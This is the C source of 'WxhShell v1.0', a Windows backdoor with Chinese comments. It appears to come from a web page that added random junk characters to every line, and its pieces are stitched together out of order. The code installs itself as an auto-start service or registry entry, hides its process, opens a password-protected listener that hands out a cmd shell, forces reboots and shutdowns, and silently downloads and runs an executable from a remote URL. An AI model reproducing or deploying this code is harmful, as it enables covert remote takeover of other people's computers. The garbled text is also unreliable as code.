    if(Boot(SHUTDOWN)) EOj.Jrs~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v.Vd js  
    else { . .5s 2  
    closesocket(wsh); s* ;rt  
    ExitThread(0); Z=KHsMnB  
    } ;L`NF"  
    break; GZq~Pl  
    } - f&m4J} E  
  // 获取shell #TUuk  
  case 's': { f)_k_<  
    CmdShell(wsh); UM(`Oh8  
    closesocket(wsh); JLz.lk*.  
    ExitThread(0); ._X|Ye9/  
    break; :q>uj5%  
  } q2{Aq[  
  // 退出 $wm.,Vb  
  case 'x': { ##QKXSD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .EfGL _  
    CloseIt(wsh); /:=,mWoO  
    break; .wpp)M.w;H  
    } .Ce0yAl~  
  // 离开 a#pM9n~a  
  case 'q': { -J& b~t@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &Hj1jM'  
    closesocket(wsh); oF(=@UL  
    WSACleanup(); j6&q6C X  
    exit(1); #TG7WF 5  
    break; L> \/%x>Wx  
        } kJ_XG;8  
  } 'Szk!,_  
  } @{ CP18~:  
UCBx?9O/0  
  // 提示信息 $/)0iL{0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <)]j;Tl  
} o4qB0h  
  } .-mlV ^  
9Od|R"aS|  
  return; qmF+@R&^i  
} .L=C7w1  
=7vbcAJ\  
// shell模块句柄 D,,$  
int CmdShell(SOCKET sock) *eEn8rAr  
{ B*;PF  
STARTUPINFO si; U|jip1\  
ZeroMemory(&si,sizeof(si)); EmYu]"${1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;\],R.!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ( L 8V)1N  
PROCESS_INFORMATION ProcessInfo; ] <y3;T\~  
char cmdline[]="cmd"; cs-dvpMZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vO 3-B   
  return 0; yyv<MSU8  
} '{F Od_uk%  
VthM`~3  
// 自身启动模式 8eDKN9kq  
int StartFromService(void) d-ML[^G  
{ Fu*Qci1Z  
typedef struct E/Adi^  
{ ;/~%D(  
  DWORD ExitStatus; C%QC^,KL  
  DWORD PebBaseAddress; jlM %Y ZC  
  DWORD AffinityMask; [E:-$R  
  DWORD BasePriority; ~|R/w%*C  
  ULONG UniqueProcessId; |QO)x En~  
  ULONG InheritedFromUniqueProcessId; r34 GO1d  
}   PROCESS_BASIC_INFORMATION; J]gtgt^   
Rap =&  
PROCNTQSIP NtQueryInformationProcess; j=V2~ xA6  
Lv<)Dur0K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _n12Wx{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FX&)~)  
lfe^_`ij(+  
  HANDLE             hProcess; e)Pm{:E  
  PROCESS_BASIC_INFORMATION pbi; fK1^fzV  
Vd+5an?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G&,2>qxK R  
  if(NULL == hInst ) return 0; EWp'zbWP  
W't.e0L<6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &aWY{ ?_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 12S[m~L%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &Tn7  
40Z/;,wp{  
  if (!NtQueryInformationProcess) return 0; - * _"ZgE  
/e50&]2w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Jo9!:2?  
  if(!hProcess) return 0; [+ N 5  
idGhWV'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ku<_N]9  
}< m@82\  
  CloseHandle(hProcess); zE_t(B(Q  
gLQbA$gB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P#x]3j]  
if(hProcess==NULL) return 0; yL%k5cO$N  
}c;h:CE#  
HMODULE hMod; L}.V`v{zc  
char procName[255]; :taRCh5  
unsigned long cbNeeded; BGZvgMxLJ  
fH[:S9@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !|;w(/  
M$AQZ')9  
  CloseHandle(hProcess); ko<VB#pOMr  
d){Al(/  
if(strstr(procName,"services")) return 1; // 以服务启动 *N?y<U  
?Ulc`-d  
  return 0; // 注册表启动 T7!=KE_z  
} n+;PfQ|  
Bl8&g]dk  
// 主模块 ~zA{=|I2  
int StartWxhshell(LPSTR lpCmdLine) G##^xFx  
{ A}Gj;vaw  
  SOCKET wsl; ^p!4`S  
BOOL val=TRUE; 4j h4XdH  
  int port=0; &m>txzo  
  struct sockaddr_in door; hR3Pa'/i  
0CS80 pC  
  if(wscfg.ws_autoins) Install(); ^jMo?Zwy  
+gsk}>"  
port=atoi(lpCmdLine); DU: sQS4  
d8T,33>T  
if(port<=0) port=wscfg.ws_port; #p^r)+\3=  
g+iV0bbT  
  WSADATA data; `%M} :T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~*Ir\wE  
.`Ts'0vVy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h8uDs|O9n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u:7=Yy :  
  door.sin_family = AF_INET; _ Oe|ZQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gDJ@s    
  door.sin_port = htons(port); *tZ#^YG{(  
vaEAjg*To<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .+c YzS] !  
closesocket(wsl); sw@* N  
return 1; S.Fip _  
} ]0wmvTR  
3tTz$$-#  
  if(listen(wsl,2) == INVALID_SOCKET) { QU{\ClW/?  
closesocket(wsl); Pf]O'G&F  
return 1; 4MOA}FZ~  
} ,.+"10=N.  
  Wxhshell(wsl); D3emO'`gQ  
  WSACleanup(); vDAv/l9  
pY9>z;qD  
return 0; o ) FjWf;  
FE/2.!]&o  
} 8Bnw//_pT  
^D0BGC&&  
// 以NT服务方式启动 "@[xo7T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;ckv$S[p  
{ 8@a|~\3-  
DWORD   status = 0; ljrA^P ,>P  
  DWORD   specificError = 0xfffffff; ?ixzlDto\  
#2!M+S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $PQlaivA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *X^__PS]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x6x6N&f?  
  serviceStatus.dwWin32ExitCode     = 0; s!E-+Gw  
  serviceStatus.dwServiceSpecificExitCode = 0; =9;jVaEMJL  
  serviceStatus.dwCheckPoint       = 0; 9h6xli  
  serviceStatus.dwWaitHint       = 0; IK6XJsz$J  
4l?98  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _u:4y4}  
  if (hServiceStatusHandle==0) return; 3&@MZF&  
AOaf,ZF 8  
status = GetLastError();  N>Pufr  
  if (status!=NO_ERROR) : |c,.uO  
{ :l>T~&/98  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cF[[_  
    serviceStatus.dwCheckPoint       = 0; B|O/h! H.  
    serviceStatus.dwWaitHint       = 0; q t}[M|Q^r  
    serviceStatus.dwWin32ExitCode     = status; yf=ek= =  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9e Dji,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >P=xzg79  
    return; TJB0O]@3  
  } j1>77C3  
^~5tntb.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NoJo-vo*  
  serviceStatus.dwCheckPoint       = 0; -7" >A~c  
  serviceStatus.dwWaitHint       = 0; #1zWzt|DW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _+8$=k2nM  
} }# -N7=h  
9_ Qm_  
// 处理NT服务事件,比如:启动、停止 <][|,9mw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R^F99L  
{ %;zWS/JhL  
switch(fdwControl) 7q|(ZZa  
{ M{7EFTy!y  
case SERVICE_CONTROL_STOP: _pNUI {De  
  serviceStatus.dwWin32ExitCode = 0; "7 )F";_(^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ryx<^q  
  serviceStatus.dwCheckPoint   = 0; @ec QVk  
  serviceStatus.dwWaitHint     = 0; I01On>"@7  
  { )M]4p6Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BsB}noN}  
  } U &Ay3/  
  return; \+MR`\|3  
case SERVICE_CONTROL_PAUSE: yHt63z8'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,[bcyf  
  break; wrn[q{dX  
case SERVICE_CONTROL_CONTINUE: ?k_=?m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _'AIXez7q  
  break; V_}`2.Pg  
case SERVICE_CONTROL_INTERROGATE: 2.&v{gq  
  break; l:HO|Mq  
}; |<ke>j/6n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W{;!JI7;z  
} r+0)l:{.  
oqDW}>.  
// 标准应用程序主函数 m ]K.0E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =10t3nA1$  
{ -"a+<(Y  
& ,&+/Sr11  
// 获取操作系统版本 @R2|=ox  
OsIsNt=GetOsVer(); \hM6 ykY-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >uOc#+5M.  
v& XG4 &  
  // 从命令行安装 w.l#Z} k  
  if(strpbrk(lpCmdLine,"iI")) Install(); G)43Y!  
v:6b&wS L3  
  // 下载执行文件 EmY4>lr  
if(wscfg.ws_downexe) { O~,^x$v e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X\%],"9%  
  WinExec(wscfg.ws_filenam,SW_HIDE); {b<8Z*4W  
} )X^nzhZ2O"  
X Y4s  
if(!OsIsNt) { $;;?'!%.  
// 如果时win9x,隐藏进程并且设置为注册表启动 *qb`wg  
HideProc(); Op%^dwVG(v  
StartWxhshell(lpCmdLine); u khI#:[  
} 1C$^S]v%a  
else D}"GrY 5  
  if(StartFromService()) >; W)tc,  
  // 以服务方式启动 =_yOX=g|  
  StartServiceCtrlDispatcher(DispatchTable); N%B#f\N  
else 8:&@MZQ&!  
  // 普通方式启动 TVFGonVY  
  StartWxhshell(lpCmdLine); %okEN !=  
sa#"@j)  
return 0; NOS5bm&-  
} @ ~sp:l  
6PMu;#  
y ph  
p[o2F5 T2  
=========================================== #^v5Eo  
3mJHk<m8T  
]owH [wvX  
A:NY:#uC  
56bB~ =c  
WJ.PPq>]F  
" tcX7Ua(I`  
95!xTf  
#include <stdio.h> "Z{^i3 gN  
#include <string.h> D\`$  
#include <windows.h> W;-Qze\D  
#include <winsock2.h> u%h<5WNh<  
#include <winsvc.h> _+;x 4K;  
#include <urlmon.h> z{n=G  
lpp'.HTP  
#pragma comment (lib, "Ws2_32.lib") ,DE%p +q  
#pragma comment (lib, "urlmon.lib") -%N (X8  
tRv#%>fj  
#define MAX_USER   100 // 最大客户端连接数 XW#4C*5?d  
#define BUF_SOCK   200 // sock buffer Lw#h nLI.  
#define KEY_BUFF   255 // 输入 buffer J`mp8?;%  
rzTyHK[  
#define REBOOT     0   // 重启 m|7g{vHVV  
#define SHUTDOWN   1   // 关机 NFSPw` f  
fzKKK+   
#define DEF_PORT   5000 // 监听端口 YT:1=Nf}  
c"z%AzUV'  
#define REG_LEN     16   // 注册表键长度 9/%|#b-z  
#define SVC_LEN     80   // NT服务名长度 N4Lk3]  
ZE\t{s0  
// 从dll定义API _N]yI0k(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,H%\+yn{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eQLa.0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vB Jva8;Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2~@=ua[|=5  
vn_avYwiy  
// wxhshell配置信息 @!MbPS  
struct WSCFG { {0LdLRNZ  
  int ws_port;         // 监听端口 UF{2Gx  
  char ws_passstr[REG_LEN]; // 口令 :qZ^<3+:  
  int ws_autoins;       // 安装标记, 1=yes 0=no .U3p~M+  
  char ws_regname[REG_LEN]; // 注册表键名 g&bO8vR=  
  char ws_svcname[REG_LEN]; // 服务名 {e@1,19  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p&\uF#I;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B 3h<K}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 + mcN6/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2 g8PU$T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oD8-I^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5cADC`q  
wTW"1M  
}; "L)pH@)  
ES~]rPVS  
// default Wxhshell configuration }n=NHHtJ  
struct WSCFG wscfg={DEF_PORT, bk?\=4B:E  
    "xuhuanlingzhe", y,x~S\>+  
    1, MQ+ek4  
    "Wxhshell", 5R Hs  
    "Wxhshell", }Q=Zqlvz  
            "WxhShell Service", _SaK]7}m!  
    "Wrsky Windows CmdShell Service", a9I8W Q   
    "Please Input Your Password: ", meL'toaJdQ  
  1, "+WR[-n>\  
  "http://www.wrsky.com/wxhshell.exe", /7#&qx8  
  "Wxhshell.exe" ?4Lo"igAA  
    }; 1=X=jPwO C  
G](K2=  
// 消息定义模块 e)7)~g54  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cm3Y!p{p"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'SieZIm)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; st2>e1vg  
char *msg_ws_ext="\n\rExit."; e&5K]W0{  
char *msg_ws_end="\n\rQuit."; hJ<2bgQo  
char *msg_ws_boot="\n\rReboot..."; @CmxH(-i-  
char *msg_ws_poff="\n\rShutdown..."; {2x5 V#6  
char *msg_ws_down="\n\rSave to "; B<R-|-#  
Dpd$&Wr0Y  
char *msg_ws_err="\n\rErr!"; UE4#j \  
char *msg_ws_ok="\n\rOK!"; pUr[MnQLf  
7" [;M  
char ExeFile[MAX_PATH]; ts]7 + 6V  
int nUser = 0; .9xGLmg  
HANDLE handles[MAX_USER]; Ae#6=]V+^  
int OsIsNt; MH?B .2  
r Lh h  
SERVICE_STATUS       serviceStatus; =<05PB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _:L*{=N  
K)?^b|D  
// 函数声明 ~c^-DAgB  
int Install(void); %awS*  
int Uninstall(void); +XE21hb   
int DownloadFile(char *sURL, SOCKET wsh); <@A^C$g  
int Boot(int flag); 3EvA 5K.  
void HideProc(void); 1I`D$Xq~:  
int GetOsVer(void); &J b.OCf  
int Wxhshell(SOCKET wsl); + LwoBn>6  
void TalkWithClient(void *cs); WI6E3,ejB1  
int CmdShell(SOCKET sock); K*9b `%  
int StartFromService(void); =;H'~  
int StartWxhshell(LPSTR lpCmdLine); Z@ kC28  
mTfMuPPs[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uFm-HR@4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "{_"Nj H  
^H4i Hjg  
// 数据结构和表定义 A 5 X+Z  
SERVICE_TABLE_ENTRY DispatchTable[] = DBUwf1=qj  
{ k%g xY% 0  
{wscfg.ws_svcname, NTServiceMain}, |^Es6 .~  
{NULL, NULL} .F2nF8  
}; 9pcf jx..  
d_+8=nh3  
// 自我安装 C]fTV{  
int Install(void) M 9#QS`G  
{ p|d9 g ^  
  char svExeFile[MAX_PATH]; =!^iiHF  
  HKEY key; @<G/H|f  
  strcpy(svExeFile,ExeFile); (w eokP!  
F9\Ot^~  
// 如果是win9x系统,修改注册表设为自启动 {1aAm+  
if(!OsIsNt) { s vb4uvY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~8(X@~Tn*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )6&\WNL-x  
  RegCloseKey(key); /8}+# h)[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j/D)UWkR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]$*{<  
  RegCloseKey(key); KeI:/2  
  return 0; N[bN"'U/1  
    } C..2y4bA}  
  } (QSWb>np  
} yZp:hs#  
else { ^-GX&ODa  
d7J[.^\  
// 如果是NT以上系统,安装为系统服务 &&1Y"dFs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #0g#W  
if (schSCManager!=0) U;{,lS2l  
{ F/*fQAa"  
  SC_HANDLE schService = CreateService D?}m h1#  
  ( BG:`Fq"T  
  schSCManager, :.o=F`W  
  wscfg.ws_svcname, f WjS)  
  wscfg.ws_svcdisp, v^W?o}W  
  SERVICE_ALL_ACCESS, d Zz^9:C+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $&=;9="  
  SERVICE_AUTO_START, mK40 f  
  SERVICE_ERROR_NORMAL, 5**5b9bj-9  
  svExeFile, o|qeh<2=x  
  NULL, 62)lf2$1  
  NULL, ru/zLj:  
  NULL, RO$ @>vL  
  NULL, V,XP&,no\j  
  NULL 9`C iE  
  ); +%}5{lu_e  
  if (schService!=0) tw4am.o1]  
  { _`@Xy!Ye  
  CloseServiceHandle(schService); t7oz9fSz=?  
  CloseServiceHandle(schSCManager); 9hR:y.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wAYzR$i  
  strcat(svExeFile,wscfg.ws_svcname); _"!{7e`Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )_ b@~fC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x-V' 0-#U>  
  RegCloseKey(key); ay:\P.`5)  
  return 0; bOxjm`B<  
    } 9(^X2L&Z  
  } z<[.MH`ln  
  CloseServiceHandle(schSCManager); ~e`;"n@4  
} +wz`_i)!  
} ?mYV\kDt\  
C`)^~C_]`3  
return 1; @8M'<tr<z  
} yToT7 X7F7  
RRI>bh]  
// 自我卸载 /md Q(Dm  
int Uninstall(void) neB.Wu~WH  
{ f=_Bx2ub  
  HKEY key; 3d#9Wyxs  
9!O+Ryy?\  
if(!OsIsNt) { do=x 9k@Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o]|oAN9  
  RegDeleteValue(key,wscfg.ws_regname); %|`:5s-T%  
  RegCloseKey(key); 0i`v:Lq%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;Z!~A"~$>  
  RegDeleteValue(key,wscfg.ws_regname); s=q%:uCO  
  RegCloseKey(key); ]xJ'oBhy  
  return 0; %/tGkS6  
  }  +eDN,iv  
} 2\nBqCxR  
} /\,_P  
else { f\x@ C)E  
q#Yg0w~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XDP6T"h  
if (schSCManager!=0) CzzUi]*Ac{  
{ M]6w^\4j9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  r21?c|IP  
  if (schService!=0) 6:|!1Pg5  
  { =A0"0D{\  
  if(DeleteService(schService)!=0) { %2@ Tj}xa  
  CloseServiceHandle(schService); {*M>X}voS  
  CloseServiceHandle(schSCManager); .*RB~c t  
  return 0; 3xmiX{1e  
  } /@9-!cL  
  CloseServiceHandle(schService); B%%.@[o,  
  } r/N[7 *i  
  CloseServiceHandle(schSCManager); Zzw}sZ?8  
} B&%L`v2[  
} 9D{u,Q V  
dT0^-XSY  
return 1; J+/}K>2#  
} 3i]"#wK  
v{mv*`~nA\  
// 从指定url下载文件 "fX_gN?  
int DownloadFile(char *sURL, SOCKET wsh) e/]O<,*  
{ b[J-ja.  
  HRESULT hr; }"%!(rx  
char seps[]= "/"; 7.7Cluh5,  
char *token; [ -9)T  
char *file; 5}-)vsa`  
char myURL[MAX_PATH]; ')AByD}Hi]  
char myFILE[MAX_PATH]; ;x!,g5q"q  
tIi!* u  
strcpy(myURL,sURL); ".~Mm F  
  token=strtok(myURL,seps); ~&wXXVK3  
  while(token!=NULL) 92P ,:2`a  
  { 4&FNU)tt  
    file=token; >%iu!H"  
  token=strtok(NULL,seps); L0X&03e=e:  
  } 4'+d"Ok  
9O),/SH;:  
GetCurrentDirectory(MAX_PATH,myFILE); p&k 0Rx0Q3  
strcat(myFILE, "\\"); 4/*]`  
strcat(myFILE, file); uHfhRc9  
  send(wsh,myFILE,strlen(myFILE),0); 9>A-$a4R>  
send(wsh,"...",3,0);  O]e6i%?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )x$!K[=  
  if(hr==S_OK) ^z[_U}N\}  
return 0; 2LCc  
else 68v xI|EZ  
return 1; ggrI>vaw  
7ZF}0K$^B  
} qJ\X~5{  
!d:tIu{)  
// 系统电源模块 fs wZM\@  
int Boot(int flag) )vO_sIbnW  
{ P/FrE~  
  HANDLE hToken; k TFz_*6.  
  TOKEN_PRIVILEGES tkp; 1t0b Uf;(M  
w0#% AK  
  if(OsIsNt) { dj?G.-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y.jS{r".  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b2a'KczV  
    tkp.PrivilegeCount = 1; L=d$"Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @; W<dJ<X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b0y-H/d/}  
if(flag==REBOOT) { 6o$Z0mG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \V._Z>]  
  return 0; 'g. :MQ8  
} 0Wa#lkn$I  
else { ri_P;#lz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8r5xs-  
  return 0; 7^c2e*S  
} i:g{{Uuv  
  } EJO.'vQ  
  else { Vz%"9`r  
if(flag==REBOOT) { HTxB=Q|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bAUHUPe  
  return 0; Q%rVo4M#2  
} Q?W r7  
else { baqn7k"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mG X\wta  
  return 0; 'T%IvJ#Xu  
} wtlB  
} 5@K\c6   
TV? ^c?{5  
return 1; cS4xe(n8  
} 5Qb;2!  
$$42pb.  
// win9x进程隐藏模块 yj>) {NcX  
void HideProc(void) HTw#U2A;+  
{  KvGbDG  
?.8<-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 61G|?Aax  
  if ( hKernel != NULL ) 9-B@GFB;8  
  { 5qGGu.$Ihi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); miPmpu!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !TGr.R  
    FreeLibrary(hKernel); wI*Y{J  
  } *jGPGnSo  
r;9z 5'  
return; fa"\=V2S  
} CDJ$hu  
OqtQA#uL  
// 获取操作系统版本 Rb?~ Rs\  
int GetOsVer(void) 3zbXAR*  
{ tO7I&LNE  
  OSVERSIONINFO winfo; -7&?@M,u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ad9EG#mD#  
  GetVersionEx(&winfo); 6`1k ^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !1("(Eb  
  return 1; ,|A{!j`  
  else c+H)ed>  
  return 0; G<|:605  
} 'bl%Y).9w  
/Ad6+cY  
// 客户端句柄模块 Zct!/u9 Q  
int Wxhshell(SOCKET wsl) ~C0 Pu.{o  
{ C]M7GHe1q  
  SOCKET wsh; uC)Zs, _5  
  struct sockaddr_in client; X`D+jiQ(f  
  DWORD myID; gXF.on4B  
g(nK$,c  
  while(nUser<MAX_USER) K0LbZMn,/  
{ !n:uiwh  
  int nSize=sizeof(client); ;c$@@ l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u|T%Xy=LU  
  if(wsh==INVALID_SOCKET) return 1; 1c / X  
zx7#)*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0_Lm#fE U  
if(handles[nUser]==0) j!7Qw 8  
  closesocket(wsh); vn``0!FX  
else %/Bvy*X&  
  nUser++; RvR:e|  
  } a&N%|b K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "U*5Z:8?9  
lYP~3wp99  
  return 0; 6W$rY] h!  
} ex!XB$X  
<$Ztik1  
// 关闭 socket qv$!\T  
void CloseIt(SOCKET wsh) _=?2 3  
{ o_(0  
closesocket(wsh); qrpb[)Ll  
nUser--; y~dB5/  
ExitThread(0); l^ Rm0t_  
} %EWq2'/5  
/h7.oD8CU  
// 客户端请求句柄 'u1=XX h  
void TalkWithClient(void *cs) )d:K:YXt  
{ 3(C :X1  
^EuW( "  
  SOCKET wsh=(SOCKET)cs; R5gado  
  char pwd[SVC_LEN]; O2% `2h  
  char cmd[KEY_BUFF]; ^&-a/'D$,  
char chr[1]; "9ue76  
int i,j; VVFV8T4  
OT;cfkf7  
  while (nUser < MAX_USER) { Q-(Dk?z{  
wA631kr  
if(wscfg.ws_passstr) { Hit Ac8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t$5jx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |by@ :@*y  
  //ZeroMemory(pwd,KEY_BUFF); KJdz v!l=  
      i=0; QLn+R(r  
  while(i<SVC_LEN) { V~[:*WOX  
{"jd_b&  
  // 设置超时 -%H%m`wD  
  fd_set FdRead; gB >pd?d  
  struct timeval TimeOut; D^|7#b,zcH  
  FD_ZERO(&FdRead); JjQVzkE  
  FD_SET(wsh,&FdRead); CL1 oAk  
  TimeOut.tv_sec=8; v8~YR'T0`V  
  TimeOut.tv_usec=0; c.0]1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U!0E_J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vK:QX$b  
hlC%HA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]4o?BkL  
  pwd=chr[0]; E(;i>   
  if(chr[0]==0xd || chr[0]==0xa) { x2m]Us@LIU  
  pwd=0; qv uxhzF  
  break; &[~[~m|  
  } `.8UKSH+  
  i++; V^2-_V]8  
    } Um\0i;7 ~4  
8U=A{{0p  
  // 如果是非法用户,关闭 socket o:9$UV[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B2(,~^39  
} 3S;N(A4  
cix36MR_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f?maa5S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (u9Zk~)F  
:XYy7xz<  
while(1) { JGgxAd{L  
B9^R8|V  
  ZeroMemory(cmd,KEY_BUFF); <m]wi7  
CV3DMA  
      // 自动支持客户端 telnet标准   lhxdx    
  j=0; s!de2z  
  while(j<KEY_BUFF) { !W~<q{VTs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sOz sY7z3Z  
  cmd[j]=chr[0]; I7zn>^0}  
  if(chr[0]==0xa || chr[0]==0xd) { Ji A'BEJN  
  cmd[j]=0; v)+@XU2wZ  
  break; uy9!qk  
  } ]Uh 1l.O  
  j++; ="dDA/,$VS  
    } c&m9)r~zP  
8&."uEOOU  
  // 下载文件 Dft%ip2  
  if(strstr(cmd,"http://")) { u w"*zBxl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k!owl+a   
  if(DownloadFile(cmd,wsh)) ;{Jb6'K1h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c{4R*|^  
  else V.2[ F|P;3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]7vf#1i<  
  } o_rtH|ntX5  
